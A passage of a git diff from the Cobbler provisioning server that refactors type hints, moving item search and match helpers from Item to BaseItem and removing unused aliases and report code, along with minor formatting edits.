-        :param report_type: May be either "text", "csv", "mediawiki", "trac" or "doku".
-        :param report_fields: Specify "all" or the fields you want to be reported.
-        :param report_noheaders: If the column headers should be included in the output or not.
-        """
-        reporter = report.Report(self)
-        reporter.run(
-            report_what=report_what,
-            report_name=report_name,
-            report_type=report_type,
-            report_fields=report_fields,
-            report_noheaders=report_noheaders,
-        )
-
-    # ==========================================================================
-
     def power_system(
         self,
         system: "system_module.System",
diff --git a/cobbler/autoinstall_manager.py b/cobbler/autoinstall_manager.py
index 029f80c211..03dd595bce 100644
--- a/cobbler/autoinstall_manager.py
+++ b/cobbler/autoinstall_manager.py
@@ -12,7 +12,7 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.items.abstract.base_item import ITEM
+    from cobbler.items.abstract.base_item import BaseItem
 
 
 TEMPLATING_ERROR = 1
@@ -268,10 +268,10 @@ def is_autoinstall_in_use(self, name: str) -> bool:
         :return: Whether the system is in install mode or not.
         """
         for profile in self.api.profiles():
-            if profile.autoinstall is not None and profile.autoinstall == name:
+            if profile.autoinstall == name:
                 return True
         for profile in self.api.systems():
-            if profile.autoinstall is not None and profile.autoinstall == name:
+            if profile.autoinstall == name:
                 return True
         return False
 
@@ -314,7 +314,7 @@ def log_autoinstall_validation_errors(self, errors_type: int, errors: List[Any])
         elif errors_type == KICKSTART_ERROR:
             self.logger.warning("Kickstart validation errors: %s", errors[0])
 
-    def validate_autoinstall_file(self, obj: "ITEM", is_profile: bool) -> List[Any]:
+    def validate_autoinstall_file(self, obj: "BaseItem", is_profile: bool) -> List[Any]:
         """
         Validate automatic installation file used by a system/profile.
 
diff --git a/cobbler/autoinstallgen.py b/cobbler/autoinstallgen.py
index 0b194914f8..22d81e78bc 100644
--- a/cobbler/autoinstallgen.py
+++ b/cobbler/autoinstallgen.py
@@ -7,16 +7,16 @@
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
 
 import xml.dom.minidom
-from typing import TYPE_CHECKING, Any, List, Optional, Union
+from typing import TYPE_CHECKING, Any, List, Optional, Union, cast
 from urllib import parse
 
 from cobbler import templar, utils, validate
 from cobbler.cexceptions import CX
+from cobbler.items.distro import Distro
+from cobbler.items.profile import Profile
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.items.distro import Distro
-    from cobbler.items.profile import Profile
     from cobbler.items.system import System
 
 
@@ -224,14 +224,17 @@ def generate_repo_stanza(
                     included[repo_obj.mirror] = 1
 
         if is_profile:
-            distro: Optional["Distro"] = obj.get_conceptual_parent()  # type: ignore
+            distro = obj.get_conceptual_parent()
         else:
             profile = obj.get_conceptual_parent()
             if profile is None:
                 raise ValueError("Error finding distro!")
-            distro = profile.get_conceptual_parent()  # type: ignore
+            profile = cast(Profile, profile)
+            distro = profile.get_conceptual_parent()
+
         if distro is None:
             raise ValueError("Error finding distro!")
+        distro = cast(Distro, distro)
 
         source_repos = distro.source_repos
         count = 0
diff --git a/cobbler/cexceptions.py b/cobbler/cexceptions.py
index 95a0e1e651..814ac21f9a 100644
--- a/cobbler/cexceptions.py
+++ b/cobbler/cexceptions.py
@@ -1,6 +1,7 @@
 """
 Custom exceptions for Cobbler
 """
+
 from typing import Any, Iterable
 
 # SPDX-License-Identifier: GPL-2.0-or-later
diff --git a/cobbler/cobbler_collections/collection.py b/cobbler/cobbler_collections/collection.py
index 9d769a4325..691e6e2e76 100644
--- a/cobbler/cobbler_collections/collection.py
+++ b/cobbler/cobbler_collections/collection.py
@@ -40,14 +40,6 @@
 FIND_KWARGS = Union[  # pylint: disable=invalid-name
     str, int, bool, Dict[Any, Any], List[Any]
 ]
-ITEM_UNION = Union[  # pylint: disable=invalid-name
-    "system.System",
-    "image.Image",
-    "profile.Profile",
-    "repo.Repo",
-    "distro.Distro",
-    "menu.Menu",
-]
 
 
 class Collection(Generic[ITEM]):
@@ -614,23 +606,6 @@ def find_by_indexes(self, kargs: Dict[str, Any]) -> Optional[List[ITEM]]:
             kargs.pop(key)
         return result
 
-    def to_string(self) -> str:
-        """
-        Creates a printable representation of the collection suitable for reading by humans or parsing from scripts.
-        Actually scripts would be better off reading the JSON in the cobbler_collections files directly.
-
-        :return: The object as a string representation.
-        """
-        # FIXME: No to_string() method in any of the items present!
-        values = list(self.listing.values())[:]  # copy the values
-        values.sort(key=lambda x: x.name if x else "")  # sort the copy (2.3 fix)
-        results = []
-        for _, value in enumerate(values):
-            results.append(value.to_string())  # type: ignore
-        if len(values) > 0:
-            return "\n\n".join(results)
-        return "No objects found"
-
     @staticmethod
     @abstractmethod
     def collection_type() -> str:
diff --git a/cobbler/cobbler_collections/distros.py b/cobbler/cobbler_collections/distros.py
index 462a18d5fe..2031b8fc9a 100644
--- a/cobbler/cobbler_collections/distros.py
+++ b/cobbler/cobbler_collections/distros.py
@@ -71,7 +71,7 @@ def remove(
                     raise CX(f"removal would orphan profile: {profile.name}")
 
         if recursive:
-            kids = self.api.find_profile(return_list=True, **{"distro": obj.name})
+            kids = self.api.find_profile(return_list=True, distro=obj.name)
             if kids is None:
                 kids = []
             if not isinstance(kids, list):
diff --git a/cobbler/cobbler_collections/images.py b/cobbler/cobbler_collections/images.py
index e7422ed283..993f451b10 100644
--- a/cobbler/cobbler_collections/images.py
+++ b/cobbler/cobbler_collections/images.py
@@ -67,7 +67,7 @@ def remove(
                     raise CX(f"removal would orphan system: {system.name}")
 
         if recursive:
-            kids = self.api.find_system(return_list=True, **{"image": obj.name})
+            kids = self.api.find_system(return_list=True, image=obj.name)
             if kids is None:
                 kids = []
             if not isinstance(kids, list):
diff --git a/cobbler/cobbler_collections/manager.py b/cobbler/cobbler_collections/manager.py
index 4f921a47af..125a76b5d5 100644
--- a/cobbler/cobbler_collections/manager.py
+++ b/cobbler/cobbler_collections/manager.py
@@ -7,10 +7,11 @@
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
 
 import weakref
-from typing import TYPE_CHECKING, Any, Dict, Union
+from typing import TYPE_CHECKING, Any, Dict, cast
 
 from cobbler import serializer, validate
 from cobbler.cexceptions import CX
+from cobbler.cobbler_collections.collection import Collection
 from cobbler.cobbler_collections.distros import Distros
 from cobbler.cobbler_collections.images import Images
 from cobbler.cobbler_collections.menus import Menus
@@ -21,11 +22,9 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM, Collection
+    from cobbler.cobbler_collections.collection import ITEM
     from cobbler.items.abstract.base_item import BaseItem
 
-    COLLECTION_UNION = Union[Menus, Distros, Repos, Profiles, Images, Systems]
-
 
 class CollectionManager:
     """
@@ -115,13 +114,13 @@ def serialize(self) -> None:
         self.__serializer.serialize(self._systems)
         self.__serializer.serialize(self._menus)
 
-    def serialize_one_item(self, item: "ITEM") -> None:  # type: ignore
+    def serialize_one_item(self, item: "BaseItem") -> None:
         """
         Save a collection item to disk
 
         :param item: collection item
         """
-        collection: "Collection[ITEM]" = self.get_items(item.COLLECTION_TYPE)  # type: ignore
+        collection = self.get_items(item.COLLECTION_TYPE)
         self.__serializer.serialize_item(collection, item)
 
     def serialize_item(self, collection: "Collection[ITEM]", item: "ITEM") -> None:
@@ -136,14 +135,14 @@ def serialize_item(self, collection: "Collection[ITEM]", item: "ITEM") -> None:
         """
         self.__serializer.serialize_item(collection, item)
 
-    def serialize_delete_one_item(self, item: "ITEM") -> None:  # type: ignore
+    def serialize_delete_one_item(self, item: "BaseItem") -> None:
         """
         Save a collection item to disk
 
         :param item: collection item
         """
-        collection: "COLLECTION_UNION" = self.get_items(item.COLLECTION_TYPE)  # type: ignore
-        self.__serializer.serialize_delete(collection, item)  # type: ignore
+        collection = self.get_items(item.COLLECTION_TYPE)
+        self.__serializer.serialize_delete(collection, item)
 
     def serialize_delete(self, collection: "Collection[ITEM]", item: "ITEM") -> None:
         """
@@ -160,7 +159,6 @@ def deserialize(self) -> None:
 
         :raises CX: if there is an error in deserialization
         """
-        collection: "COLLECTION_UNION"
         for args in (
             (self._menus, True),
             (self._distros, False),
@@ -170,10 +168,13 @@ def deserialize(self) -> None:
             (self._systems, False),
         ):
             try:
-                self.__serializer.deserialize(collection=args[0], topological=args[1])  # type: ignore
+                cast_collection = cast(Collection["BaseItem"], args[0])
+                self.__serializer.deserialize(
+                    collection=cast_collection, topological=args[1]
+                )
             except Exception as error:
                 raise CX(
-                    f"serializer: error loading collection {collection.collection_type()}: {error}."
+                    f"serializer: error loading collection {args[0].collection_type()}: {error}."
                     f"Check your settings!"
                 ) from error
 
@@ -186,9 +187,7 @@ def deserialize_one_item(self, obj: "BaseItem") -> Dict[str, Any]:
         collection_type = self.get_items(obj.COLLECTION_TYPE).collection_types()
         return self.__serializer.deserialize_item(collection_type, obj.name)
 
-    def get_items(
-        self, collection_type: str
-    ) -> Union[Distros, Profiles, Systems, Repos, Images, Menus, "Settings"]:
+    def get_items(self, collection_type: str) -> "Collection[BaseItem]":
         """
         Get a full collection of a single type.
 
@@ -198,15 +197,6 @@ def get_items(
         :return: The collection if ``collection_type`` is valid.
         :raises CX: If the ``collection_type`` is invalid.
         """
-        result: Union[
-            Distros,
-            Profiles,
-            Systems,
-            Repos,
-            Images,
-            Menus,
-            "Settings",
-        ]
         if validate.validate_obj_type(collection_type) and hasattr(
             self, f"_{collection_type}s"
         ):
diff --git a/cobbler/decorator.py b/cobbler/decorator.py
index 67abb8ce05..d5ff35ab2f 100644
--- a/cobbler/decorator.py
+++ b/cobbler/decorator.py
@@ -1,6 +1,7 @@
 """
 This module provides decorators that are required for Cobbler to work as expected.
 """
+
 # The idea for the subclassed property decorators is from: https://stackoverflow.com/a/59313599/4730773
 
 from typing import Any, Optional
@@ -22,6 +23,9 @@ def __get__(self, obj: Any, objtype: Optional[type] = None):
             and obj._has_initialized  # pyright: ignore [reportPrivateUsage]
         ):
             obj.deserialize()
+        if self.fget is None:
+            # This may occur if the functional way of using a property is used.
+            raise ValueError("Property had no getter!")
         return self.fget(obj)
 
 
diff --git a/cobbler/items/abstract/base_item.py b/cobbler/items/abstract/base_item.py
index c54fdcc0c5..33b6d48ea9 100644
--- a/cobbler/items/abstract/base_item.py
+++ b/cobbler/items/abstract/base_item.py
@@ -9,6 +9,7 @@
 
 import copy
 import enum
+import fnmatch
 import logging
 import re
 import uuid
@@ -19,10 +20,10 @@
 from cobbler.cexceptions import CX
 from cobbler.decorator import InheritableProperty, LazyProperty
 from cobbler.items.abstract.item_cache import ItemCache
+from cobbler.utils import input_converters
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM
 
 
 RE_OBJECT_NAME = re.compile(r"[a-zA-Z0-9_\-.:]*$")
@@ -57,6 +58,65 @@ def _is_dict_key(name: str) -> bool:
             }
         )
 
+    @classmethod
+    def __find_compare(
+        cls,
+        from_search: Union[str, List[Any], Dict[Any, Any], bool],
+        from_obj: Union[str, List[Any], Dict[Any, Any], bool],
+    ) -> bool:
+        """
+        Only one of the two parameters shall be given in this method. If you give both ``from_obj`` will be preferred.
+
+        :param from_search: Tries to parse this str in the format as a search result string.
+        :param from_obj: Tries to parse this str in the format of an obj str.
+        :return: True if the comparison succeeded, False otherwise.
+        :raises TypeError: In case the type of one of the two variables is wrong or could not be converted
+                           intelligently.
+        """
+        del cls
+
+        if isinstance(from_obj, str):
+            # FIXME: fnmatch is only used for string to string comparisons which should cover most major usage, if
+            #        not, this deserves fixing
+            from_obj_lower = from_obj.lower()
+            from_search_lower = from_search.lower()  # type: ignore
+            # It's much faster to not use fnmatch if it's not needed
+            if (
+                "?" not in from_search_lower
+                and "*" not in from_search_lower
+                and "[" not in from_search_lower
+            ):
+                match = from_obj_lower == from_search_lower  # type: ignore
+            else:
+                match = fnmatch.fnmatch(from_obj_lower, from_search_lower)  # type: ignore
+            return match  # type: ignore
+
+        if isinstance(from_search, str):
+            if isinstance(from_obj, list):
+                from_search = input_converters.input_string_or_list(from_search)
+                for list_element in from_search:
+                    if list_element not in from_obj:
+                        return False
+                return True
+            if isinstance(from_obj, dict):
+                from_search = input_converters.input_string_or_dict(
+                    from_search, allow_multiples=True
+                )
+                for dict_key in list(from_search.keys()):  # type: ignore
+                    dict_value = from_search[dict_key]
+                    if dict_key not in from_obj:
+                        return False
+                    if not dict_value == from_obj[dict_key]:
+                        return False
+                return True
+            if isinstance(from_obj, bool):  # type: ignore
+                inp = from_search.lower() in ["true", "1", "y", "yes"]
+                if inp == from_obj:
+                    return True
+                return False
+
+        raise TypeError(f"find cannot compare type: {type(from_obj)}")
+
     def __init__(self, api: "CobblerAPI", *args: Any, **kwargs: Any):
         # Prevent attempts to clear the to_dict cache before the object is initialized.
         self._has_initialized = False
@@ -293,7 +353,7 @@ def check_if_valid(self) -> None:
             raise CX("Name is required")
 
     @abstractmethod
-    def make_clone(self) -> "ITEM":
+    def make_clone(self) -> "BaseItem":
         """
         Must be defined in any subclass
         """
@@ -330,6 +390,100 @@ def _remove_depreacted_dict_keys(cls, dictionary: Dict[Any, Any]) -> None:
         if "children" in dictionary:
             dictionary.pop("children")
 
+    def sort_key(self, sort_fields: List[Any]):
+        """
+        Convert the item to a dict and sort the data after specific given fields.
+
+        :param sort_fields: The fields to sort the data after.
+        :return: The sorted data.
+        """
+        data = self.to_dict()
+        return [data.get(x, "") for x in sort_fields]
+
+    def find_match(self, kwargs: Dict[str, Any], no_errors: bool = False) -> bool:
+        """
+        Find from a given dict if the item matches the kv-pairs.
+
+        :param kwargs: The dict to match for in this item.
+        :param no_errors: How strict this matching is.
+        :return: True if matches or False if the item does not match.
+        """
+        # used by find() method in collection.py
+        data = self.to_dict()
+        for (key, value) in list(kwargs.items()):
+            # Allow ~ to negate the compare
+            if value is not None and value.startswith("~"):
+                res = not self.find_match_single_key(data, key, value[1:], no_errors)
+            else:
+                res = self.find_match_single_key(data, key, value, no_errors)
+            if not res:
+                return False
+
+        return True
+
+    def find_match_single_key(
+        self, data: Dict[str, Any], key: str, value: Any, no_errors: bool = False
+    ) -> bool:
+        """
+        Look if the data matches or not. This is an alternative for ``find_match()``.
+
+        :param data: The data to search through.
+        :param key: The key to look for int the item.
+        :param value: The value for the key.
+        :param no_errors: How strict this matching is.
+        :return: Whether the data matches or not.
+        """
+        # special case for systems
+        key_found_already = False
+        if "interfaces" in data:
+            if key in [
+                "cnames",
+                "connected_mode",
+                "if_gateway",
+                "ipv6_default_gateway",
+                "ipv6_mtu",
+                "ipv6_prefix",
+                "ipv6_secondaries",
+                "ipv6_static_routes",
+                "management",
+                "mtu",
+                "static",
+                "mac_address",
+                "ip_address",
+                "ipv6_address",
+                "netmask",
+                "virt_bridge",
+                "dhcp_tag",
+                "dns_name",
+                "static_routes",
+                "interface_type",
+                "interface_master",
+                "bonding_opts",
+                "bridge_opts",
+                "interface",
+            ]:
+                key_found_already = True
+                for (name, interface) in list(data["interfaces"].items()):
+                    if value == name:
+                        return True
+                    if value is not None and key in interface:
+                        if self.__find_compare(interface[key], value):
+                            return True
+
+        if key not in data:
+            if not key_found_already:
+                if not no_errors:
+                    # FIXME: removed for 2.0 code, shouldn't cause any problems to not have an exception here?
+                    # raise CX("searching for field that does not exist: %s" % key)
+                    return False
+            else:
+                if value is not None:  # FIXME: new?
+                    return False
+
+        if value is None:
+            return True
+        return self.__find_compare(value, data[key])
+
     def serialize(self) -> Dict[str, Any]:
         """
         This method is a proxy for :meth:`~cobbler.items.item.Item.to_dict` and contains additional logic for
diff --git a/cobbler/items/distro.py b/cobbler/items/distro.py
index 2aa3855e3a..d6c24c5e28 100644
--- a/cobbler/items/distro.py
+++ b/cobbler/items/distro.py
@@ -465,7 +465,7 @@ def remote_boot_initrd(self, remote_boot_initrd: str):
         self._remote_boot_initrd = remote_boot_initrd
 
     @LazyProperty
-    def source_repos(self) -> List[Any]:
+    def source_repos(self) -> List[str]:
         """
         A list of http:// URLs on the Cobbler server that point to yum configuration files that can be used to
         install core packages. Use by ``cobbler import`` only.
@@ -476,7 +476,7 @@ def source_repos(self) -> List[Any]:
         return self._source_repos
 
     @source_repos.setter
-    def source_repos(self, repos: List[Any]):
+    def source_repos(self, repos: List[str]):
         r"""
         Setter for the ``source_repos`` property.
 
diff --git a/cobbler/items/item.py b/cobbler/items/item.py
index e20185303e..0c6c295304 100644
--- a/cobbler/items/item.py
+++ b/cobbler/items/item.py
@@ -100,7 +100,6 @@
 # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
 
-import fnmatch
 import pprint
 import uuid
 from abc import ABC
@@ -114,8 +113,6 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM_UNION
-    from cobbler.items.abstract.base_item import ITEM
     from cobbler.items.distro import Distro
     from cobbler.items.menu import Menu
     from cobbler.items.profile import Profile
@@ -189,63 +186,6 @@ class Item(BaseItem, ABC):
         "system": ([("image", "image"), ("profile", "profile")], []),
     }
 
-    @classmethod
-    def __find_compare(
-        cls,
-        from_search: Union[str, List[Any], Dict[Any, Any], bool],
-        from_obj: Union[str, List[Any], Dict[Any, Any], bool],
-    ) -> bool:
-        """
-        Only one of the two parameters shall be given in this method. If you give both ``from_obj`` will be preferred.
-
-        :param from_search: Tries to parse this str in the format as a search result string.
-        :param from_obj: Tries to parse this str in the format of an obj str.
-        :return: True if the comparison succeeded, False otherwise.
-        :raises TypeError: In case the type of one of the two variables is wrong or could not be converted
-                           intelligently.
-        """
-        if isinstance(from_obj, str):
-            # FIXME: fnmatch is only used for string to string comparisons which should cover most major usage, if
-            #        not, this deserves fixing
-            from_obj_lower = from_obj.lower()
-            from_search_lower = from_search.lower()  # type: ignore
-            # It's much faster to not use fnmatch if it's not needed
-            if (
-                "?" not in from_search_lower
-                and "*" not in from_search_lower
-                and "[" not in from_search_lower
-            ):
-                match = from_obj_lower == from_search_lower  # type: ignore
-            else:
-                match = fnmatch.fnmatch(from_obj_lower, from_search_lower)  # type: ignore
-            return match  # type: ignore
-
-        if isinstance(from_search, str):
-            if isinstance(from_obj, list):
-                from_search = input_converters.input_string_or_list(from_search)
-                for list_element in from_search:
-                    if list_element not in from_obj:
-                        return False
-                return True
-            if isinstance(from_obj, dict):
-                from_search = input_converters.input_string_or_dict(
-                    from_search, allow_multiples=True
-                )
-                for dict_key in list(from_search.keys()):  # type: ignore
-                    dict_value = from_search[dict_key]
-                    if dict_key not in from_obj:
-                        return False
-                    if not (dict_value == from_obj[dict_key]):
-                        return False
-                return True
-            if isinstance(from_obj, bool):  # type: ignore
-                inp = from_search.lower() in ["true", "1", "y", "yes"]
-                if inp == from_obj:
-                    return True
-                return False
-
-        raise TypeError(f"find cannot compare type: {type(from_obj)}")
-
     def __init__(
         self, api: "CobblerAPI", *args: Any, is_subobject: bool = False, **kwargs: Any
     ):
@@ -667,7 +607,7 @@ def parent(self, parent: str) -> None:
         if found is None:
             raise CX(f'profile "{parent}" not found, inheritance not possible')
         self._parent = parent
-        self.depth = found.depth + 1
+        self.depth = found.depth + 1  # type: ignore
 
     @LazyProperty
     def get_parent(self) -> str:
@@ -677,7 +617,7 @@ def get_parent(self) -> str:
         """
         return self._parent
 
-    def get_conceptual_parent(self) -> Optional["ITEM_UNION"]:
+    def get_conceptual_parent(self) -> Optional["BaseItem"]:
         """
         The parent may just be a superclass for something like a subprofile. Get the first parent of a different type.
 
@@ -721,20 +661,21 @@ def logical_parent(self) -> Any:
         return parent
 
     @property
-    def children(self) -> List["ITEM_UNION"]:
+    def children(self) -> List["Item"]:
         """
         The list of logical children of any depth.
         :getter: An empty list in case of items which don't have logical children.
         :setter: Replace the list of children completely with the new provided one.
         """
-        results: List[Any] = []
+        results: List["Item"] = []
         list_items = self.api.get_items(self.COLLECTION_TYPE)
         for obj in list_items:
-            if obj.get_parent == self._name:
-                results.append(obj)
+            # TODO: Refactor once InheritableItem is available
+            if obj.get_parent == self._name:  # type: ignore
+                results.append(obj)  # type: ignore
         return results
 
-    def tree_walk(self) -> List["ITEM_UNION"]:
+    def tree_walk(self) -> List["Item"]:
         """
         Get all children related by parent/child relationship.
         :return: The list of children objects.
@@ -747,7 +688,7 @@ def tree_walk(self) -> List["ITEM_UNION"]:
         return results
 
     @property
-    def descendants(self) -> List["ITEM_UNION"]:
+    def descendants(self) -> List["Item"]:
         """
         Get objects that depend on this object, i.e. those that would be affected by a cascading delete, etc.
 
@@ -794,100 +735,6 @@ def is_subobject(self, value: bool) -> None:
             )
         self._is_subobject = value
 
-    def sort_key(self, sort_fields: List[Any]):
-        """
-        Convert the item to a dict and sort the data after specific given fields.
-
-        :param sort_fields: The fields to sort the data after.
-        :return: The sorted data.
-        """
-        data = self.to_dict()
-        return [data.get(x, "") for x in sort_fields]
-
-    def find_match(self, kwargs: Dict[str, Any], no_errors: bool = False) -> bool:
-        """
-        Find from a given dict if the item matches the kv-pairs.
-
-        :param kwargs: The dict to match for in this item.
-        :param no_errors: How strict this matching is.
-        :return: True if matches or False if the item does not match.
-        """
-        # used by find() method in collection.py
-        data = self.to_dict()
-        for (key, value) in list(kwargs.items()):
-            # Allow ~ to negate the compare
-            if value is not None and value.startswith("~"):
-                res = not self.find_match_single_key(data, key, value[1:], no_errors)
-            else:
-                res = self.find_match_single_key(data, key, value, no_errors)
-            if not res:
-                return False
-
-        return True
-
-    def find_match_single_key(
-        self, data: Dict[str, Any], key: str, value: Any, no_errors: bool = False
-    ) -> bool:
-        """
-        Look if the data matches or not. This is an alternative for ``find_match()``.
-
-        :param data: The data to search through.
-        :param key: The key to look for int the item.
-        :param value: The value for the key.
-        :param no_errors: How strict this matching is.
-        :return: Whether the data matches or not.
-        """
-        # special case for systems
-        key_found_already = False
-        if "interfaces" in data:
-            if key in [
-                "cnames",
-                "connected_mode",
-                "if_gateway",
-                "ipv6_default_gateway",
-                "ipv6_mtu",
-                "ipv6_prefix",
-                "ipv6_secondaries",
-                "ipv6_static_routes",
-                "management",
-                "mtu",
-                "static",
-                "mac_address",
-                "ip_address",
-                "ipv6_address",
-                "netmask",
-                "virt_bridge",
-                "dhcp_tag",
-                "dns_name",
-                "static_routes",
-                "interface_type",
-                "interface_master",
-                "bonding_opts",
-                "bridge_opts",
-                "interface",
-            ]:
-                key_found_already = True
-                for (name, interface) in list(data["interfaces"].items()):
-                    if value == name:
-                        return True
-                    if value is not None and key in interface:
-                        if self.__find_compare(interface[key], value):
-                            return True
-
-        if key not in data:
-            if not key_found_already:
-                if not no_errors:
-                    # FIXME: removed for 2.0 code, shouldn't cause any problems to not have an exception here?
-                    # raise CX("searching for field that does not exist: %s" % key)
-                    return False
-            else:
-                if value is not None:  # FIXME: new?
-                    return False
-
-        if value is None:
-            return True
-        return self.__find_compare(value, data[key])
-
     def dump_vars(
         self, formatted_output: bool = True, remove_dicts: bool = False
     ) -> Union[Dict[str, Any], str]:
@@ -934,14 +781,14 @@ def deserialize_ancestor(ancestor_item_type: str, ancestor_name: str):
                                 deserialize_ancestor(ancestor_item_type, ancestor_name)
         self.from_dict(item_dict)
 
-    def grab_tree(self) -> List[Union["ITEM", "Settings"]]:
+    def grab_tree(self) -> List[Union["BaseItem", "Settings"]]:
         """
         Climb the tree and get every node.
 
         :return: The list of items with all parents from that object upwards the tree. Contains at least the item
                  itself and the settings of Cobbler.
         """
-        results: List[Union["ITEM", "Settings"]] = [self]
+        results: List[Union["BaseItem", "Settings"]] = [self]
         parent = self.logical_parent
         while parent is not None:
             results.append(parent)
diff --git a/cobbler/items/network_interface.py b/cobbler/items/network_interface.py
index 90de009597..7599517e87 100644
--- a/cobbler/items/network_interface.py
+++ b/cobbler/items/network_interface.py
@@ -71,6 +71,7 @@
         * ``ipv6_default_gateway``: str
         * ``cnames``: List[str]
 """
+
 import enum
 import logging
 from ipaddress import AddressValueError
diff --git a/cobbler/items/profile.py b/cobbler/items/profile.py
index 302660db49..2745ee9b6c 100644
--- a/cobbler/items/profile.py
+++ b/cobbler/items/profile.py
@@ -168,11 +168,11 @@
 from cobbler.cexceptions import CX
 from cobbler.decorator import InheritableProperty, LazyProperty
 from cobbler.items import item
+from cobbler.items.distro import Distro
 from cobbler.utils import input_converters
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.items.distro import Distro
 
 
 class Profile(item.Item):
@@ -311,7 +311,7 @@ def arch(self) -> Optional[enums.Archs]:
         """
         # FIXME: This looks so wrong. It cries: Please open a bug for me!
         parent = self.logical_parent
-        if parent is not None:
+        if parent is not None and isinstance(parent, (Profile, Distro)):
             return parent.arch
         return None
 
diff --git a/cobbler/items/repo.py b/cobbler/items/repo.py
index bfcb3c046a..3ef282c73c 100644
--- a/cobbler/items/repo.py
+++ b/cobbler/items/repo.py
@@ -168,7 +168,7 @@ def check_if_valid(self) -> None:
         super().check_if_valid()
         if not self.inmemory:
             return
-        if self.mirror is None:
+        if self.mirror is None:  # type: ignore[reportUnnecessaryComparison]
             raise CX(f"Error with repo {self.name} - mirror is required")
 
     #
diff --git a/cobbler/items/system.py b/cobbler/items/system.py
index ba1aa9e5d5..67eeae2ced 100644
--- a/cobbler/items/system.py
+++ b/cobbler/items/system.py
@@ -341,7 +341,8 @@ def name(self, name: str) -> None:
 
         :param name: system name string
         """
-        Item.name.fset(self, name)
+        # We have defined the Getter in BaseItem. As such this linter error is incorrect.
+        Item.name.fset(self, name)  # type: ignore[reportOptionalCall]
         for interface in self.interfaces.values():
             interface.system_name = name
 
diff --git a/cobbler/modules/authentication/configfile.py b/cobbler/modules/authentication/configfile.py
index 1eb9037a9a..dc578ed840 100644
--- a/cobbler/modules/authentication/configfile.py
+++ b/cobbler/modules/authentication/configfile.py
@@ -2,6 +2,7 @@
 Authentication module that uses /etc/cobbler/auth.conf
 Choice of authentication module is in /etc/cobbler/modules.conf
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
@@ -93,7 +94,7 @@ def authenticate(api_handle: "CobblerAPI", username: str, password: str) -> bool
     """
 
     userlist = __parse_storage()
-    for (user, realm, passwordhash) in userlist:
+    for user, realm, passwordhash in userlist:
         if user == username and realm == "Cobbler":
             calculated_passwordhash = hashfun(api_handle, password)
             if calculated_passwordhash == passwordhash:
diff --git a/cobbler/modules/authentication/pam.py b/cobbler/modules/authentication/pam.py
index d01a3ab52d..1451503a89 100644
--- a/cobbler/modules/authentication/pam.py
+++ b/cobbler/modules/authentication/pam.py
@@ -18,6 +18,7 @@
 
 Implemented using ctypes, so no compilation is necessary.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
diff --git a/cobbler/modules/authentication/passthru.py b/cobbler/modules/authentication/passthru.py
index 69d9943f9d..d2d775f813 100644
--- a/cobbler/modules/authentication/passthru.py
+++ b/cobbler/modules/authentication/passthru.py
@@ -2,6 +2,7 @@
 Authentication module that defers to Apache and trusts
 what Apache trusts.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
diff --git a/cobbler/modules/authentication/spacewalk.py b/cobbler/modules/authentication/spacewalk.py
index ec53d21211..4691ab02b2 100644
--- a/cobbler/modules/authentication/spacewalk.py
+++ b/cobbler/modules/authentication/spacewalk.py
@@ -110,7 +110,7 @@ def authenticate(api_handle: "CobblerAPI", username: str, password: str) -> bool
     :raises CX: Raised in case ``api_handle`` is missing.
     """
     # pylint: enable=line-too-long
-    if api_handle is None:
+    if api_handle is None:  # type: ignore[reportUnnecessaryComparison]
         raise CX("api_handle required. Please don't call this without it.")
     server = "https://" + api_handle.settings().redhat_management_server
     if api_handle.settings().uyuni_authentication_endpoint:
diff --git a/cobbler/modules/authorization/allowall.py b/cobbler/modules/authorization/allowall.py
index 2d3691497a..45919766bb 100644
--- a/cobbler/modules/authorization/allowall.py
+++ b/cobbler/modules/authorization/allowall.py
@@ -1,6 +1,7 @@
 """
 Authorization module that allows everything, which is the default for new Cobbler installs.
 """
+
 from typing import TYPE_CHECKING, Any
 
 # SPDX-License-Identifier: GPL-2.0-or-later
diff --git a/cobbler/modules/authorization/configfile.py b/cobbler/modules/authorization/configfile.py
index 4fb4dd1f05..1549ddba12 100644
--- a/cobbler/modules/authorization/configfile.py
+++ b/cobbler/modules/authorization/configfile.py
@@ -4,6 +4,7 @@
 For instance, when using authz_ldap, you want to use authn_configfile,
 not authz_allowall, which will most likely NOT do what you want.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
diff --git a/cobbler/modules/authorization/ownership.py b/cobbler/modules/authorization/ownership.py
index 08a6f680cf..992ce186d4 100644
--- a/cobbler/modules/authorization/ownership.py
+++ b/cobbler/modules/authorization/ownership.py
@@ -4,6 +4,7 @@
 the further restriction that Cobbler objects can be edited to only
 allow certain users/groups to access those specific objects.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
@@ -15,7 +16,7 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.items.abstract.base_item import ITEM
